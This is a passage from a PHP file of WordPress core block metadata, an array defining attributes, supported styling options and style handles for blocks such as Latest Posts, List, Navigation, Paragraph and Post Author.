'core/latest-comments', 'title' => 'Latest Comments', 'category' => 'widgets', 'description' => 'Display a list of your most recent comments.', 'keywords' => array( 'recent comments' ), 'textdomain' => 'default', 'attributes' => array( 'commentsToShow' => array( 'type' => 'number', 'default' => 5, 'minimum' => 1, 'maximum' => 100 ), 'displayAvatar' => array( 'type' => 'boolean', 'default' => true ), 'displayDate' => array( 'type' => 'boolean', 'default' => true ), 'displayExcerpt' => array( 'type' => 'boolean', 'default' => true ) ), 'supports' => array( 'align' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-latest-comments-editor', 'style' => 'wp-block-latest-comments' ), 'latest-posts' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/latest-posts', 'title' => 'Latest Posts', 'category' => 'widgets', 'description' => 'Display a list of your most recent posts.', 'keywords' => array( 'recent posts' ), 'textdomain' => 'default', 'attributes' => array( 'categories' => array( 'type' => 'array', 'items' => array( 'type' => 'object' ) ), 'selectedAuthor' => array( 'type' => 'number' ), 'postsToShow' => array( 'type' => 'number', 'default' => 5 ), 'displayPostContent' => array( 'type' => 'boolean', 'default' => false ), 'displayPostContentRadio' => array( 'type' => 'string', 'default' => 'excerpt' ), 'excerptLength' => array( 'type' => 'number', 'default' => 55 ), 'displayAuthor' => array( 'type' => 'boolean', 'default' => false ), 'displayPostDate' => array( 'type' => 'boolean', 'default' => false ), 'postLayout' => array( 'type' => 'string', 'default' => 'list' ), 'columns' => array( 'type' => 'number', 'default' => 3 ), 'order' => array( 'type' => 'string', 'default' => 'desc' ), 'orderBy' => array( 'type' => 'string', 'default' => 'date' ), 'displayFeaturedImage' => array( 'type' => 'boolean', 'default' => false ), 'featuredImageAlign' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right' ) ), 'featuredImageSizeSlug' => array( 'type' => 'string', 'default' => 'thumbnail' ), 'featuredImageSizeWidth' => array( 'type' => 'number', 'default' => null ), 'featuredImageSizeHeight' => array( 'type' => 'number', 'default' => null ), 'addLinkToFeaturedImage' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'align' => true, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-latest-posts-editor', 'style' => 'wp-block-latest-posts' ), 'legacy-widget' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/legacy-widget', 'title' => 'Legacy Widget', 'category' => 'widgets', 'description' => 'Display a legacy widget.', 'textdomain' => 'default', 'attributes' => array( 'id' => array( 'type' => 'string', 'default' => null ), 'idBase' => array( 'type' => 'string', 'default' => null ), 'instance' => array( 'type' => 'object', 'default' => null ) ), 'supports' => array( 'html' => false, 'customClassName' => false, 'reusable' => false ), 'editorStyle' => 'wp-block-legacy-widget-editor' ), 'list' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/list', 'title' => 'List', 'category' => 'text', 'allowedBlocks' => array( 'core/list-item' ), 'description' => 'An organized collection of items displayed in a specific order.', 'keywords' => array( 'bullet list', 'ordered list', 'numbered list' ), 'textdomain' => 'default', 'attributes' => array( 'ordered' => array( 'type' => 'boolean', 'default' => false, 'role' => 'content' ), 'values' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'ol,ul', 'multiline' => 'li', '__unstableMultilineWrapperTags' => array( 'ol', 'ul' ), 'default' => '', 'role' => 'content' ), 'type' => array( 'type' => 'string' ), 'start' => array( 'type' => 'number' ), 'reversed' => array( 'type' => 'boolean' ), 'placeholder' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'html' => false, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__unstablePasteTextInline' => true, '__experimentalOnMerge' => true, '__experimentalSlashInserter' => true, 'interactivity' => array( 'clientNavigation' => true ) ), 'selectors' => array( 'border' => '.wp-block-list:not(.wp-block-list .wp-block-list)' ), 'editorStyle' => 'wp-block-list-editor', 'style' => 'wp-block-list' ), 'list-item' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/list-item', 'title' => 'List item', 'category' => 'text', 'parent' => array( 'core/list' ), 'allowedBlocks' => array( 'core/list' ), 'description' => 'An individual item within a list.', 'textdomain' => 'default', 'attributes' => array( 'placeholder' => array( 'type' => 'string' ), 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'li', 'role' => 'content' ) ), 'supports' => array( 'anchor' => true, 'className' => false, 'splitting' => true, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ), 'color' => array( 'gradients' => true, 'link' => true, 'background' => true, '__experimentalDefaultControls' => array( 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'selectors' => array( 'root' => '.wp-block-list > li', 'border' => '.wp-block-list:not(.wp-block-list .wp-block-list) > li' ) ), 'loginout' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/loginout', 'title' => 'Login/out', 'category' => 'theme', 'description' => 'Show login & logout links.', 'keywords' => array( 'login', 'logout', 'form' ), 'textdomain' => 'default', 'attributes' => array( 'displayLoginAsForm' => array( 'type' => 'boolean', 'default' => false ), 'redirectToCurrent' => array( 'type' => 'boolean', 'default' => true ) ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'className' => true, 'color' => array( 'background' => true, 'text' => false, 'gradients' => true, 'link' => true ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-loginout' ), 'media-text' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/media-text', 'title' => 'Media & Text', 'category' => 'media', 'description' => 'Set media and words side-by-side for a richer layout.', 'keywords' => array( 'image', 'video' ), 'textdomain' => 'default', 'attributes' => array( 'align' => array( 'type' => 'string', 'default' => 'none' ), 'mediaAlt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure img', 'attribute' => 'alt', 'default' => '', 'role' => 'content' ), 'mediaPosition' => array( 'type' => 'string', 'default' => 'left' ), 'mediaId' => array( 'type' => 'number', 'role' => 'content' ), 'mediaUrl' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure video,figure img', 'attribute' => 'src', 'role' => 'content' ), 'mediaLink' => array( 'type' => 'string' ), 'linkDestination' => array( 'type' => 'string' ), 'linkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'target' ), 'href' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'href', 'role' => 'content' ), 'rel' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'rel' ), 'linkClass' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'class' ), 'mediaType' => array( 'type' => 'string', 'role' => 'content' ), 'mediaWidth' => array( 'type' => 'number', 'default' => 50 ), 'mediaSizeSlug' => array( 'type' => 'string' ), 'isStackedOnMobile' => array( 'type' => 'boolean', 'default' => true ), 'verticalAlignment' => array( 'type' => 'string' ), 'imageFill' => array( 'type' => 'boolean' ), 'focalPoint' => array( 'type' => 'object' ), 'allowedBlocks' => array( 'type' => 'array' ), 'useFeaturedImage' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-media-text-editor', 'style' => 'wp-block-media-text' ), 'missing' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/missing', 'title' => 'Unsupported', 'category' => 'text', 'description' => 'Your site doesn’t include support for this block.', 'textdomain' => 'default', 'attributes' => array( 'originalName' => array( 'type' => 'string' ), 'originalUndelimitedContent' => array( 'type' => 'string' ), 'originalContent' => array( 'type' => 'string', 'source' => 'raw' ) ), 'supports' => array( 'className' => false, 'customClassName' => false, 'inserter' => false, 'html' => false, 'reusable' => false, 'interactivity' => array( 'clientNavigation' => true ) ) ), 'more' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/more', 'title' => 'More', 'category' => 'design', 'description' => 'Content before this block will be shown in the excerpt on your archives page.', 'keywords' => array( 'read more' ), 'textdomain' => 'default', 'attributes' => array( 'customText' => array( 'type' => 'string', 'default' => '' ), 'noTeaser' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'customClassName' => false, 'className' => false, 'html' => false, 'multiple' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-more-editor' ), 'navigation' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation', 'title' => 'Navigation', 'category' => 'theme', 'allowedBlocks' => array( 'core/navigation-link', 'core/search', 'core/social-links', 'core/page-list', 'core/spacer', 'core/home-link', 'core/site-title', 'core/site-logo', 'core/navigation-submenu', 'core/loginout', 'core/buttons' ), 'description' => 'A collection of blocks that allow visitors to get around your site.', 'keywords' => array( 'menu', 'navigation', 'links' ), 'textdomain' => 'default', 'attributes' => array( 'ref' => array( 'type' => 'number' ), 'textColor' => array( 'type' => 'string' ), 'customTextColor' => array( 'type' => 'string' ), 'rgbTextColor' => array( 'type' => 'string' ), 'backgroundColor' => array( 'type' => 'string' ), 'customBackgroundColor' => array( 'type' => 'string' ), 'rgbBackgroundColor' => array( 'type' => 'string' ), 'showSubmenuIcon' => array( 'type' => 'boolean', 'default' => true ), 'openSubmenusOnClick' => array( 'type' => 'boolean', 'default' => false ), 'overlayMenu' => array( 'type' => 'string', 'default' => 'mobile' ), 'icon' => array( 'type' => 'string', 'default' => 'handle' ), 'hasIcon' => array( 'type' => 'boolean', 'default' => true ), '__unstableLocation' => array( 'type' => 'string' ), 'overlayBackgroundColor' => array( 'type' => 'string' ), 'customOverlayBackgroundColor' => array( 'type' => 'string' ), 'overlayTextColor' => array( 'type' => 'string' ), 'customOverlayTextColor' => array( 'type' => 'string' ), 'maxNestingLevel' => array( 'type' => 'number', 'default' => 5 ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'providesContext' => array( 'textColor' => 'textColor', 'customTextColor' => 'customTextColor', 'backgroundColor' => 'backgroundColor', 'customBackgroundColor' => 'customBackgroundColor', 'overlayTextColor' => 'overlayTextColor', 'customOverlayTextColor' => 'customOverlayTextColor', 'overlayBackgroundColor' => 'overlayBackgroundColor', 'customOverlayBackgroundColor' => 'customOverlayBackgroundColor', 'fontSize' => 'fontSize', 'customFontSize' => 'customFontSize', 'showSubmenuIcon' => 'showSubmenuIcon', 'openSubmenusOnClick' => 'openSubmenusOnClick', 'style' => 'style', 'maxNestingLevel' => 'maxNestingLevel' ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'ariaLabel' => true, 'html' => false, 'inserter' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalTextTransform' => true, '__experimentalFontFamily' => true, '__experimentalLetterSpacing' => true, '__experimentalTextDecoration' => true, '__experimentalSkipSerialization' => array( 'textDecoration' ), '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'blockGap' => true, 'units' => array( 'px', 'em', 'rem', 'vh', 'vw' ), '__experimentalDefaultControls' => array( 'blockGap' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowVerticalAlignment' => false, 'allowSizingOnChildren' => true, 'default' => array( 'type' => 'flex' ) ), 'interactivity' => true, 'renaming' => false ), 'editorStyle' => 'wp-block-navigation-editor', 'style' => 'wp-block-navigation' ), 'navigation-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation-link', 'title' => 'Custom Link', 'category' => 'design', 'parent' => array( 'core/navigation' ), 'allowedBlocks' => array( 'core/navigation-link', 'core/navigation-submenu', 'core/page-list' ), 'description' => 'Add a page, link, or another item to your navigation.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ), 'type' => array( 'type' => 'string' ), 'description' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string' ), 'id' => array( 'type' => 'number' ), 'opensInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'url' => array( 'type' => 'string' ), 'title' => array( 'type' => 'string' ), 'kind' => array( 'type' => 'string' ), 'isTopLevelLink' => array( 'type' => 'boolean' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'maxNestingLevel', 'style' ), 'supports' => array( 'reusable' => false, 'html' => false, '__experimentalSlashInserter' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'renaming' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-navigation-link-editor', 'style' => 'wp-block-navigation-link' ), 'navigation-submenu' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation-submenu', 'title' => 'Submenu', 'category' => 'design', 'parent' => array( 'core/navigation' ), 'description' => 'Add a submenu to your navigation.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ), 'type' => array( 'type' => 'string' ), 'description' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string' ), 'id' => array( 'type' => 'number' ), 'opensInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'url' => array( 'type' => 'string' ), 'title' => array( 'type' => 'string' ), 'kind' => array( 'type' => 'string' ), 'isTopLevelItem' => array( 'type' => 'boolean' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'maxNestingLevel', 'openSubmenusOnClick', 'style' ), 'supports' => array( 'reusable' => false, 'html' => false, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-navigation-submenu-editor', 'style' => 'wp-block-navigation-submenu' ), 'nextpage' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/nextpage', 'title' => 'Page Break', 'category' => 'design', 'description' => 'Separate your content into a multi-page experience.', 'keywords' => array( 'next page', 'pagination' ), 'parent' => array( 'core/post-content' ), 'textdomain' => 'default', 'supports' => array( 'customClassName' => false, 'className' => false, 'html' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-nextpage-editor' ), 'page-list' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/page-list', 'title' => 'Page List', 'category' => 'widgets', 'allowedBlocks' => array( 'core/page-list-item' ), 'description' => 'Display a list of all pages.', 'keywords' => array( 'menu', 'navigation' ), 'textdomain' => 'default', 'attributes' => array( 'parentPageID' => array( 'type' => 'integer', 'default' => 0 ), 'isNested' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'style', 'openSubmenusOnClick' ), 'supports' => array( 'reusable' => false, 'html' => false, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-page-list-editor', 'style' => 'wp-block-page-list' ), 'page-list-item' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/page-list-item', 'title' => 'Page List Item', 'category' => 'widgets', 'parent' => array( 'core/page-list' ), 'description' => 'Displays a page inside a list of all pages.', 'keywords' => array( 'page', 'menu', 'navigation' ), 'textdomain' => 'default', 'attributes' => array( 'id' => array( 'type' => 'number' ), 'label' => array( 'type' => 'string' ), 'title' => array( 'type' => 'string' ), 'link' => array( 'type' => 'string' ), 'hasChildren' => array( 'type' => 'boolean' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'style', 'openSubmenusOnClick' ), 'supports' => array( 'reusable' => false, 'html' => false, 'lock' => false, 'inserter' => false, '__experimentalToolbar' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-page-list-editor', 'style' => 'wp-block-page-list' ), 'paragraph' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/paragraph', 'title' => 'Paragraph', 'category' => 'text', 'description' => 'Start with the basic building block of all narrative.', 'keywords' => array( 'text' ), 'textdomain' => 'default', 'attributes' => array( 'align' => array( 'type' => 'string' ), 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'p', 'role' => 'content' ), 'dropCap' => array( 'type' => 'boolean', 'default' => false ), 'placeholder' => array( 'type' => 'string' ), 'direction' => array( 'type' => 'string', 'enum' => array( 'ltr', 'rtl' ) ) ), 'supports' => array( 'splitting' => true, 'anchor' => true, 'className' => false, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalSelector' => 'p', '__unstablePasteTextInline' => true, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-paragraph-editor', 'style' => 'wp-block-paragraph' ), 'pattern' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/pattern', 'title' => 'Pattern placeholder', 'category' => 'theme', 'description' => 'Show a block pattern.', 'supports' => array( 'html' => false, 'inserter' => false, 'renaming' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'textdomain' => 'default', 'attributes' => array( 'slug' => array( 'type' => 'string' ) ) ), 'post-author' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-author', 'title' => 'Author', 'category' => 'theme', 'description' => 'Display post author details such as name, avatar, and bio.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'avatarSize' => array( 'type' => 'number', 'default' => 48 ), 'showAvatar' => array( 'type' => 'boolean', 'default' => true ), 'showBio' => array( 'type' => 'boolean' ), 'byline' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postType', 'postId', 'queryId' ), 'supports' => array( 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDuotone' => '.wp-block-post-author__avatar img', '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'editorStyle' => 'wp-block-post-author-editor', 'style' => 'wp-block-post-author' ), 'post-author-biography' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-author-biography', 'title' => 'Author Biography', 'category' => 'theme', 'description' => 'The author biography.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postType', 'postId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-author-biography' ), 'post-author-name' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-author-name', 'title' => 'Author Name', 'category' => 'theme', 'description' => 'The author name.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postType', 'postId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-author-name' ), 'post-comments-form' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-comments-form', 'title' => 'Comments Form', 'category' => 'theme', 'description' => 'Display a post\'s comments form.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'editorStyle' => 'wp-block-post-comments-form-editor', 'style' => array( 'wp-block-post-comments-form', 'wp-block-buttons', 'wp-block-button' ) ), 'post-content' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-content', 'title' => 'Content', 'category' => 'theme', 'description' => 'Displays the contents of a post or page.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'layout' => true, 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), 'dimensions' => array( 'minHeight' => true ), 'spacing' => array( 'blockGap' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => false, 'text' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'style' => 'wp-block-post-content', 'editorStyle' => 'wp-block-post-content-editor' ), 'post-date' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-date', 'title' => 'Date', 'category' => 'theme', 'description' => 'Display the publish date for an entry such as a post or page.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'format' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'displayType' => array( 'type' => 'string', 'default' => 'date' ) ), 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 